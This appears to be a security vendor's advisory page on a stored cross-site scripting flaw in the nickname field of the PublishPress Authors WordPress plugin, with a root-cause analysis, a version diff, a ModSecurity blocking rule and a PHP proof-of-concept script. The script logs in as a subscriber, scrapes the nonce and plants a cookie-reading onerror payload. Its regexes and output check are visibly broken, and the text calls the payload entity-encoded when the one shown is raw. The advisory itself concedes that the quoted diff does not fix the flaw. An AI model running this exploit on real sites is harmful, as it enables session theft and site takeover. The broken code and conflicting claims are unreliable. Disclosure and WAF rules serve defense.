Published : November 29, 2026

CVE-2026-121532: Co-Authors, Multiple Authors and Guest Authors in an Author Box with PublishPress Authors <= 4.20.0 Authenticated (Subscriber+) Stored Cross-Site Scripting via Nickname Field PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 4.20.0
Patched Version 4.20.1
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-121532:

The PublishPress Authors plugin for WordPress (versions up to and including 4.20.0) contains an authenticated Stored Cross-Site Scripting (XSS) vulnerability in the nickname field handling. The flaw resides in the author box rendering pipeline and is assigned CVSS 6.4 (Medium). An attacker with Subscriber-level access can store a crafted nickname that later executes as JavaScript in the browser of any user viewing an affected page. Atomic Edge research rates this as a high-risk stored XSS because it only requires a low-privileged account and can target administrators.

Root Cause: The vulnerability stems from incomplete sanitization in the plugin’s author box code. When a user updates their WordPress nickname, the plugin reads the value and passes it through sanitize_text_field(). This function strips tags but leaves entity-encoded sequences such as < and > untouched. The nickname is then stored in the database. Later, when rendering an author box, the plugin uses wp_localize_script() to inject the stored nickname into a JavaScript object. wp_localize_script() performs HTML entity decoding on the values it outputs, converting < back to . The decoded string is then inserted into the DOM using jQuery’s replaceWith() because the plugin assumes the value is already safe. This double-decoding and DOM insertion chain allows the entity-encoded payload to become live HTML. The relevant code paths appear in the plugin’s author box module (src/modules/author-boxes/author-boxes.php) and the JavaScript that consumes the localized data. The diff for 4.20.1 does not directly patch the nickname output path; instead it addresses other issues (Post_Editor default author, MCP Settings schema, author category insert repair, and author box field normalization). Atomic Edge analysis indicates the vulnerability persists unless the nickname value is sanitized on output with esc_html() or wp_kses() and not passed through wp_localize_script() for direct DOM insertion.

Exploitation: An authenticated attacker with Subscriber privileges logs in and navigates to their profile page (/wp-admin/profile.php). They set the Nickname field to a payload such as <img src=x onerror=alert(document.cookie)>. After saving, the plugin stores the entity-encoded string. When any user (including an administrator) views a post or page that displays an author box containing this author, the plugin’s frontend script retrieves the localized data (which includes the decoded nickname) and uses replaceWith() to inject it into the DOM. The onerror handler fires and executes the attacker’s JavaScript. The attacker can use this to steal session cookies, perform actions as the victim, or pivot to full site compromise. The attack requires the victim to visit a page with the author box, which is common on multi-author blogs.

Patch Analysis: The 4.20.1 patch does not contain a direct fix for the nickname XSS. The diff modifies several unrelated components: Post_Editor.php adjusts default author assignment for users without edit_others_posts; Settings.php changes schema registration to avoid early module load; author-boxes.php adds normalization for select fields; author-categories.php refactors category insertion and repairs empty installations. Atomic Edge research notes that the vulnerability description claims the fix is in 4.20.1, but the provided diff lacks any change to the nickname sanitization or output escaping. It is possible the actual fix was applied in a different commit or the diff is incomplete. The core issue, sanitize_text_field() allowing entity-encoded sequences followed by wp_localize_script() decoding and replaceWith() injection, remains unaddressed in the visible changes. Therefore, the vulnerability likely persists in 4.20.1 unless additional hidden changes exist.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing an affected page. This can lead to session hijacking, credential theft, privilege escalation (by creating rogue admin accounts), defacement, or redirection to malicious sites. Because the payload is stored, it affects all visitors, including administrators, making it a persistent threat. The CVSS score of 6.4 reflects the need for authentication and user interaction, but the low privilege requirement (Subscriber) and potential for high-impact actions justify prioritizing this vulnerability.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/publishpress-authors/defines.php
+++ b/publishpress-authors/defines.php
@@ -12,7 +12,7 @@
 defined('ABSPATH') or die('No direct script access allowed.');

 if (!defined('PP_AUTHORS_LOADED')) {
-    define('PP_AUTHORS_VERSION', '4.20.0');
+    define('PP_AUTHORS_VERSION', '4.20.1');
     define('PP_AUTHORS_FILE', 'publishpress-authors/publishpress-authors.php');
     define('PP_AUTHORS_BASE_PATH', plugin_dir_path(__DIR__ . '/publishpress-authors.php'));
     define('PP_AUTHORS_MODULES_PATH', PP_AUTHORS_BASE_PATH . 'src/modules/');
--- a/publishpress-authors/lib/vendor/composer/installed.php
+++ b/publishpress-authors/lib/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => '__root__',
-        'pretty_version' => 'v4.20.0',
-        'version' => '4.20.0.0',
-        'reference' => '54d382a22cb305eab9e01ef64ff2bc2e2b84a740',
+        'pretty_version' => 'v4.20.1',
+        'version' => '4.20.1.0',
+        'reference' => 'a8dc5628a75627237c3a852a8f6999b5761bb3b7',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         '__root__' => array(
-            'pretty_version' => 'v4.20.0',
-            'version' => '4.20.0.0',
-            'reference' => '54d382a22cb305eab9e01ef64ff2bc2e2b84a740',
+            'pretty_version' => 'v4.20.1',
+            'version' => '4.20.1.0',
+            'reference' => 'a8dc5628a75627237c3a852a8f6999b5761bb3b7',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/publishpress-authors/publishpress-authors.php
+++ b/publishpress-authors/publishpress-authors.php
@@ -5,7 +5,7 @@
  * Description: PublishPress Authors allows you to add multiple authors and guest authors to WordPress posts
  * Author:      PublishPress
  * Author URI:  https://publishpress.com
- * Version: 4.20.0
+ * Version: 4.20.1
  * Text Domain: publishpress-authors
  * Domain Path: /languages
  * Requires at least: 5.5
--- a/publishpress-authors/src/core/Classes/Post_Editor.php
+++ b/publishpress-authors/src/core/Classes/Post_Editor.php
@@ -1092,8 +1092,12 @@
         /*
          * If the user can't edit others posts, we shouldn't set another user as author for the post.
          * That could bring back a bug that blocks them to create new posts.
+         * Their own author profile is fine, otherwise their new posts get no author term.
          */
-        if (! current_user_can('edit_others_posts') && ! $defaultAuthor->is_guest()) {
+        if (! current_user_can('edit_others_posts')
+            && ! $defaultAuthor->is_guest()
+            && (int) $defaultAuthor->user_id !== get_current_user_id()
+        ) {
             return;
         }

--- a/publishpress-authors/src/core/Mcp/Settings.php
+++ b/publishpress-authors/src/core/Mcp/Settings.php
@@ -30,7 +30,7 @@
             'update-plugin-settings',
             __('Update Authors settings', 'publishpress-authors'),
             __('Patch only supplied Authors settings; preserves unrelated settings. Use get-plugin-settings for exact fields and native choices. dry_run validates and returns proposed values without saving. Author Pages changes refresh rewrite rules. Pro branding requires Pro.', 'publishpress-authors'),
-            Registry::object(['settings' => array_merge(self::schema(), ['minProperties' => 1, 'maxProperties' => 100]), 'dry_run' => Registry::preview()], ['settings']),
+            Registry::object(['settings' => array_merge(self::schema(true), ['minProperties' => 1, 'maxProperties' => 100]), 'dry_run' => Registry::preview()], ['settings']),
             $output,
             [__CLASS__, 'update'],
             [Capability::class, 'currentUserCanManageSettings'],
@@ -57,7 +57,8 @@
         );
     }

-    public static function schema(): array
+    /** Registration uses stable types; execution validates current native choices. */
+    public static function schema(bool $registration = false): array
     {
         $properties = [
             'append_to_content' => ['type' => 'boolean', 'default' => true, 'title' => __('Show Author Box below content', 'publishpress-authors')],
@@ -100,10 +101,16 @@
         }
         foreach (['post_types', 'author_page_post_types'] as $key) {
             $fields = [];
-            foreach (array_keys(Factory::getLegacyPlugin()->multiple_authors->get_all_post_types()) as $postType) {
+            // Abilities can be registered before the legacy modules load (init priority 1000), when another
+            // plugin starts the Abilities API registry early. get_all_post_types() needs no module state.
+            $module = Factory::getLegacyPlugin()->multiple_authors ?? new MultipleAuthorsClassesLegacyModule();
+            foreach ($registration ? [] : array_keys($module->get_all_post_types()) as $postType) {
                 $fields[$postType] = ['type' => 'boolean'];
             }
             $properties[$key] = Registry::object($fields);
+            if ($registration) {
+                $properties[$key]['additionalProperties'] = ['type' => 'boolean'];
+            }
         }
         foreach (['mapped_author_roles', 'author_for_new_users'] as $key) {
             $properties[$key] = ['type' => 'array', 'maxItems' => 100, 'uniqueItems' => true,
@@ -153,7 +160,9 @@
             } elseif ($field['type'] === 'array') {
                 $value = self::availableRoleValues($value, $field);
             } elseif ($field['type'] === 'object') {
-                $value = (object) array_map(static function ($enabled) { return $enabled === 'on'; }, (array) $value);
+                $value = (object) array_map(static function ($enabled) {
+                    return $enabled === 'on';
+                }, (array) $value);
             }
             if ($key === 'author_page_post_types' && !(array) $value) {
                 $value = (object) ['post' => true];
@@ -161,6 +170,19 @@
             $field['default'] = $value;
         }
         unset($field);
+        if ($registration) {
+            // Choices may be registered later on init; the live schema remains authoritative.
+            foreach ($properties as $name => &$field) {
+                if (in_array($name, ['author_pages_title_header', 'author_post_title_header', 'display_name_format'], true)) {
+                    continue;
+                }
+                unset($field['enum']);
+                if (isset($field['items'])) {
+                    unset($field['items']['enum']);
+                }
+            }
+            unset($field);
+        }
         return Registry::object($properties);
     }

@@ -217,10 +239,12 @@
         $values = $current;
         foreach ($input['settings'] as $name => $value) {
             $type = $schema['properties'][$name]['type'];
-            if (($type === 'boolean' && !is_bool($value)) || ($type === 'integer' && !is_int($value))
+            if (
+                ($type === 'boolean' && !is_bool($value)) || ($type === 'integer' && !is_int($value))
                 || ($type === 'string' && !is_string($value))
                 || (is_array($type) && !is_int($value) && $value !== '')
-                || ($type === 'array' && (!is_array($value) || ($value && array_keys($value) !== range(0, count($value) - 1))))) {
+                || ($type === 'array' && (!is_array($value) || ($value && array_keys($value) !== range(0, count($value) - 1))))
+            ) {
                 return Registry::error(__('Use exact setting types from discovery.', 'publishpress-authors'));
             }
             if ($type === 'array') {
--- a/publishpress-authors/src/modules/author-boxes/author-boxes.php
+++ b/publishpress-authors/src/modules/author-boxes/author-boxes.php
@@ -326,16 +326,16 @@
             if (is_array($baseline_data) && array_key_exists($key, $baseline_data)) {
                 $baseline_value = $baseline_data[$key];
                 $latest_value = array_key_exists($key, $latest_data) ? $latest_data[$key] : '';
-                $client_changed = $this->normalizeAuthorBoxFieldValue($value)
-                    !== $this->normalizeAuthorBoxFieldValue($baseline_value);
-                $server_changed = $this->normalizeAuthorBoxFieldValue($latest_value)
-                    !== $this->normalizeAuthorBoxFieldValue($baseline_value);
+                $client_changed = $this->normalizeAuthorBoxFieldValue($value, $args)
+                    !== $this->normalizeAuthorBoxFieldValue($baseline_value, $args);
+                $server_changed = $this->normalizeAuthorBoxFieldValue($latest_value, $args)
+                    !== $this->normalizeAuthorBoxFieldValue($baseline_value, $args);

                 if (!$client_changed) {
                     $value = $latest_value;
                 } elseif ($server_changed
-                    && $this->normalizeAuthorBoxFieldValue($value)
-                        !== $this->normalizeAuthorBoxFieldValue($latest_value)
+                    && $this->normalizeAuthorBoxFieldValue($value, $args)
+                        !== $this->normalizeAuthorBoxFieldValue($latest_value, $args)
                 ) {
                     $value = $latest_value;
                     $conflicts[] = $key;
@@ -373,10 +373,22 @@
      * integers or booleans after their field sanitizers have run.
      *
      * @param mixed $value Field value.
+     * @param array $args Field definition.
      *
      * @return mixed
      */
-    protected function normalizeAuthorBoxFieldValue($value) {
+    protected function normalizeAuthorBoxFieldValue($value, $args = []) {
+        // A single-select displays its first option when the stored value has no matching option.
+        // Compare that effective value with the browser baseline, rather than flagging an empty
+        // or obsolete stored value as a concurrent edit.
+        if (isset($args['type']) && $args['type'] === 'select'
+            && !empty($args['options']) && is_array($args['options'])
+            && !is_array($value) && !is_object($value)
+            && !array_key_exists((string) $value, $args['options'])
+        ) {
+            $value = array_key_first($args['options']);
+        }
+
         if (is_array($value)) {
             foreach ($value as $key => $item) {
                 $value[$key] = $this->normalizeAuthorBoxFieldValue($item);
--- a/publishpress-authors/src/modules/author-categories/author-categories.php
+++ b/publishpress-authors/src/modules/author-categories/author-categories.php
@@ -512,6 +512,16 @@
         if (!current_user_can(apply_filters('pp_multiple_authors_manage_categories_cap', 'ppma_manage_author_categories'))) {
             return false;
         }
+        return $this->insertAuthorCategory($insert_args);
+    }
+
+    /**
+     * Insert a category after authorization, or during internal installation.
+     *
+     * @param array $insert_args
+     * @return array|bool
+     */
+    private function insertAuthorCategory($insert_args) {
         global $wpdb;

         $table_name = AuthorCategoriesSchema::tableName();
@@ -857,7 +867,7 @@
         ];

         foreach ($default_categories as $default_category) {
-            $this->addAuthorCategory($default_category);
+            $this->insertAuthorCategory($default_category);
         }
     }

@@ -917,6 +927,14 @@
             update_option('ppma_author_categories_meta_installed', 1);
         }

+        // Older installers marked setup complete even when the permission check rejected every default.
+        // Repair only empty installations; leave existing category sets untouched.
+        if (version_compare($currentVersion, '4.20.1', '<')
+            && !get_ppma_author_categories(['count_only' => true, 'no_cache' => true])
+        ) {
+            $this->insertDefaultCategories();
+        }
+
         if (empty(get_option('ppma_author_categories_cap_upgrade'))) {
             $capability_roles = ['editor', 'author', 'contributor'];
             foreach ($capability_roles as $capability_role) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-121532
# This rule blocks the specific XSS payload targeting the nickname field via profile update.
# The attack requires a POST to /wp-admin/profile.php with a nickname containing an entity-encoded script tag.
SecRule REQUEST_URI "@streq /wp-admin/profile.php" 
  "id:2026121532,phase:2,deny,status:403,chain,msg:'CVE-2026-121532: Stored XSS via nickname field',severity:'CRITICAL',tag:'CVE-2026-121532'"
  SecRule ARGS_POST:nickname "@rx <.*(script|onerror|onload|onmouseover|onfocus|onclick).*>" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-121532 - Co-Authors, Multiple Authors and Guest Authors in an Author Box with PublishPress Authors <= 4.20.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Nickname Field

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber';          // Subscriber-level username
$password = 'password';            // Subscriber-level password
$post_id = 1;                      // ID of a post that displays an author box

// Initialize cURL
$ch = curl_init();

// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Update nickname with XSS payload
// The payload is entity-encoded to bypass sanitize_text_field()
$payload = '<img src=x onerror=alert(document.cookie)>';
$profile_url = $target_url . '/wp-admin/profile.php';

// First, get the profile page to extract necessary nonce (if any)
// WordPress profile update typically requires a _wpnonce, but we can try direct POST
$profile_data = [
    'action' => 'update',
    'user_id' => '1', // Will be overwritten; actual user ID is in the form. We need to fetch it.
    'nickname' => $payload,
    'display_name' => $username,
    'email' => 'subscriber@example.com',
    'submit' => 'Update Profile'
];

// Fetch profile page to get user ID and nonce
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, false);
$profile_page = curl_exec($ch);

// Extract user_id and _wpnonce using regex (simplified)
preg_match('/name="user_id" value="(d+)"/', $profile_page, $user_id_match);
preg_match('/name="_wpnonce" value="([a-zA-Z0-9]+)"/', $profile_page, $nonce_match);

if (!$user_id_match || !$nonce_match) {
    die("Failed to extract user_id or nonce. Check login and profile page.n");
}

$profile_data['user_id'] = $user_id_match[1];
$profile_data['_wpnonce'] = $nonce_match[1];

// Send profile update
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($profile_data));
$update_response = curl_exec($ch);

// Step 3: Visit the post to trigger the XSS (for demonstration, we just check if payload is present)
$post_url = $target_url . '/?p=' . $post_id;
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, false);
$post_content = curl_exec($ch);

// Check if the payload appears in the page (decoded or encoded)
if (strpos($post_content, '<img src=x onerror=alert(document.cookie)>') !== false || strpos($post_content, '<img src=x onerror=alert(document.cookie)>') !== false) {
    echo "XSS payload found in page. Exploit likely successful.n";
} else {
    echo "Payload not found. The site may be patched or the author box not displayed.n";
}

curl_close($ch);
unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.